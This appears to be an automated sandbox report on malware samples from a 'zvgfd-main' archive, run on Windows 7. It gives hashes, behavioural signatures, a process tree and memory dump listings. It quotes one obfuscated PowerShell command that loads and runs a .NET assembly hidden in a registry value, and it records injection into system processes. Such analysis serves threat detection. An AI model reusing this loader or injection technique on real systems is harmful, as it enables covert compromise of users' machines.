Overview
overview
10Static
static
10zvgfd-main...iz.bat
windows7-x64
1zvgfd-main...iz.bat
windows10-2004-x64
1zvgfd-main...lt.exe
windows7-x64
zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main/Client.bat
windows7-x64
8zvgfd-main/Client.bat
windows10-2004-x64
10zvgfd-main...lt.exe
windows7-x64
zvgfd-main...lt.exe
windows10-2004-x64
zvgfd-main... .exe
windows7-x64
10zvgfd-main... .exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows7-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10zvgfd-main...ol.exe
windows7-x64
10zvgfd-main...ol.exe
windows10-2004-x64
10Exculsion/...dec.js
windows7-x64
3Exculsion/...dec.js
windows10-2004-x64
3zvgfd-main...ve.bat
windows7-x64
8zvgfd-main...ve.bat
windows10-2004-x64
10zvgfd-main...ve.exe
windows7-x64
10zvgfd-main...ve.exe
windows10-2004-x64
10zvgfd-main...V2.exe
windows7-x64
10zvgfd-main...V2.exe
windows10-2004-x64
10zvgfd-main...ll.exe
windows7-x64
5zvgfd-main...ll.exe
windows10-2004-x64
zvgfd-main...up.exe
windows10-2004-x64
8zvgfd-main/Output.exe
windows7-x64
3zvgfd-main/Output.exe
windows10-2004-x64
10zvgfd-main/Part 1.bat
windows7-x64
8zvgfd-main/Part 1.bat
windows10-2004-x64
10zvgfd-main...om.exe
windows7-x64
1zvgfd-main...om.exe
windows10-2004-x64
1zvgfd-main...er.exe
windows7-x64
10Analysis
-
max time kernel
153s -
max time network
20s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 18:28
Static task
static1
Behavioral task
behavioral1
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
zvgfd-main/Are You Skibidy, The Quiz.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
zvgfd-main/Client-built.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
zvgfd-main/Client-built.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
zvgfd-main/Client.bat
Resource
win7-20240611-en
Behavioral task
behavioral6
Sample
zvgfd-main/Client.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
zvgfd-main/Client_built.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
zvgfd-main/Client_built.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win7-20240419-en
Behavioral task
behavioral10
Sample
zvgfd-main/Empyrean Removal Tool .exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral11
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral13
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win7-20240220-en
Behavioral task
behavioral14
Sample
zvgfd-main/Empyrean Removal Tool.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral15
Sample
Exculsion/Source/Remote-Access-Tools/Quasar/Quasar.Common/Video/Codecs/UnsafeStreamCodec.js
Resource
win7-20240508-en
Behavioral task
behavioral16
Sample
Exculsion/Source/Remote-Access-Tools/Quasar/Quasar.Common/Video/Codecs/UnsafeStreamCodec.js
Resource
win10v2004-20240611-en
Behavioral task
behavioral17
Sample
zvgfd-main/Fanta.Live.bat
Resource
win7-20240611-en
Behavioral task
behavioral18
Sample
zvgfd-main/Fanta.Live.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral19
Sample
zvgfd-main/Fanta.Live.exe
Resource
win7-20240508-en
Behavioral task
behavioral20
Sample
zvgfd-main/Fanta.Live.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral21
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win7-20231129-en
Behavioral task
behavioral22
Sample
zvgfd-main/Frozen Loader V2.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral23
Sample
zvgfd-main/Install.exe
Resource
win7-20240611-en
Behavioral task
behavioral24
Sample
zvgfd-main/Install.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral25
Sample
zvgfd-main/OperaGXSetup.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral26
Sample
zvgfd-main/Output.exe
Resource
win7-20240611-en
Behavioral task
behavioral27
Sample
zvgfd-main/Output.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral28
Sample
zvgfd-main/Part 1.bat
Resource
win7-20240221-en
Behavioral task
behavioral29
Sample
zvgfd-main/Part 1.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral30
Sample
zvgfd-main/Phantom.exe
Resource
win7-20240508-en
Behavioral task
behavioral31
Sample
zvgfd-main/Phantom.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral32
Sample
zvgfd-main/PyMain Installer.exe
Resource
win7-20240611-en
General
-
Target
zvgfd-main/PyMain Installer.exe
-
Size
163KB
-
MD5
1a7d1b5d24ba30c4d3d5502295ab5e89
-
SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563
-
SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
-
SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
-
SSDEEP
3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP svchost.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection svchost.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2116 created 420 2116 powershell.EXE winlogon.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.EXEdescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2116 set thread context of 2604 2116 powershell.EXE dllhost.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70431f04e5cbda01 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exepid process 2116 powershell.EXE 2116 powershell.EXE 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe 2604 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.EXEdllhost.exedescription pid process Token: SeDebugPrivilege 2116 powershell.EXE Token: SeDebugPrivilege 2116 powershell.EXE Token: SeDebugPrivilege 2604 dllhost.exe -
Suspicious use of WriteProcessMemory 33 IoCs
Processes:
taskeng.exepowershell.EXEdllhost.exedescription pid process target process PID 2740 wrote to memory of 2116 2740 taskeng.exe powershell.EXE PID 2740 wrote to memory of 2116 2740 taskeng.exe powershell.EXE PID 2740 wrote to memory of 2116 2740 taskeng.exe powershell.EXE PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2116 wrote to memory of 2604 2116 powershell.EXE dllhost.exe PID 2604 wrote to memory of 420 2604 dllhost.exe winlogon.exe PID 2604 wrote to memory of 464 2604 dllhost.exe services.exe PID 2604 wrote to memory of 480 2604 dllhost.exe lsass.exe PID 2604 wrote to memory of 488 2604 dllhost.exe lsm.exe PID 2604 wrote to memory of 596 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 676 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 760 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 808 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 844 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 992 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 292 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 284 2604 dllhost.exe spoolsv.exe PID 2604 wrote to memory of 1040 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 1128 2604 dllhost.exe taskhost.exe PID 2604 wrote to memory of 1236 2604 dllhost.exe Dwm.exe PID 2604 wrote to memory of 1284 2604 dllhost.exe Explorer.EXE PID 2604 wrote to memory of 2308 2604 dllhost.exe svchost.exe PID 2604 wrote to memory of 1356 2604 dllhost.exe sppsvc.exe PID 2604 wrote to memory of 2740 2604 dllhost.exe taskeng.exe PID 2604 wrote to memory of 2116 2604 dllhost.exe powershell.EXE PID 2604 wrote to memory of 1880 2604 dllhost.exe conhost.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fa8c5419-55c2-4079-b926-d97bfa942216}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
- Modifies security service
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {DE8A4E36-F7A4-4F0D-8834-35DC37671F4E} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+'W'+''+'A'+''+'R'+''+'E'+'').GetValue(''+'$'+''+'7'+''+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\zvgfd-main\PyMain Installer.exe"C:\Users\Admin\AppData\Local\Temp\zvgfd-main\PyMain Installer.exe"2⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1948577710-928674181-339024835713447962-1275170569-509978129-1210196314-792834035"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/420-24-0x0000000000370000-0x0000000000395000-memory.dmpFilesize
148KB
-
memory/420-34-0x00000000003A0000-0x00000000003CB000-memory.dmpFilesize
172KB
-
memory/420-42-0x00000000003A0000-0x00000000003CB000-memory.dmpFilesize
172KB
-
memory/420-26-0x00000000003A0000-0x00000000003CB000-memory.dmpFilesize
172KB
-
memory/420-52-0x000007FEBEC30000-0x000007FEBEC40000-memory.dmpFilesize
64KB
-
memory/420-53-0x0000000036FC0000-0x0000000036FD0000-memory.dmpFilesize
64KB
-
memory/420-25-0x0000000000370000-0x0000000000395000-memory.dmpFilesize
148KB
-
memory/420-83-0x0000000076FD1000-0x0000000076FD2000-memory.dmpFilesize
4KB
-
memory/464-71-0x0000000036FC0000-0x0000000036FD0000-memory.dmpFilesize
64KB
-
memory/464-54-0x0000000000150000-0x000000000017B000-memory.dmpFilesize
172KB
-
memory/464-68-0x0000000000150000-0x000000000017B000-memory.dmpFilesize
172KB
-
memory/464-70-0x000007FEBEC30000-0x000007FEBEC40000-memory.dmpFilesize
64KB
-
memory/480-51-0x0000000000360000-0x000000000038B000-memory.dmpFilesize
172KB
-
memory/480-59-0x000007FEBEC30000-0x000007FEBEC40000-memory.dmpFilesize
64KB
-
memory/480-61-0x0000000036FC0000-0x0000000036FD0000-memory.dmpFilesize
64KB
-
memory/480-82-0x0000000000120000-0x0000000000145000-memory.dmpFilesize
148KB
-
memory/480-43-0x0000000000360000-0x000000000038B000-memory.dmpFilesize
172KB
-
memory/480-148-0x0000000000120000-0x0000000000145000-memory.dmpFilesize
148KB
-
memory/2116-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-2-0x0000000000A40000-0x0000000000A48000-memory.dmpFilesize
32KB
-
memory/2116-3-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-147-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmpFilesize
4KB
-
memory/2116-0-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmpFilesize
4KB
-
memory/2116-30-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-146-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-6-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-1-0x0000000019CA0000-0x0000000019F82000-memory.dmpFilesize
2.9MB
-
memory/2116-4-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-5-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2116-10-0x0000000076D60000-0x0000000076E7F000-memory.dmpFilesize
1.1MB
-
memory/2116-9-0x0000000076F80000-0x0000000077129000-memory.dmpFilesize
1.7MB
-
memory/2116-8-0x0000000000FA0000-0x0000000000FCA000-memory.dmpFilesize
168KB
-
memory/2116-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmpFilesize
9.6MB
-
memory/2604-19-0x0000000076F80000-0x0000000077129000-memory.dmpFilesize
1.7MB
-
memory/2604-16-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2604-20-0x0000000076D60000-0x0000000076E7F000-memory.dmpFilesize
1.1MB
-
memory/2604-21-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2604-93-0x0000000076F80000-0x0000000077129000-memory.dmpFilesize
1.7MB
-
memory/2604-92-0x0000000076F81000-0x0000000077082000-memory.dmpFilesize
1.0MB
-
memory/2604-14-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2604-18-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2604-12-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2604-13-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2604-149-0x0000000076F80000-0x0000000077129000-memory.dmpFilesize
1.7MB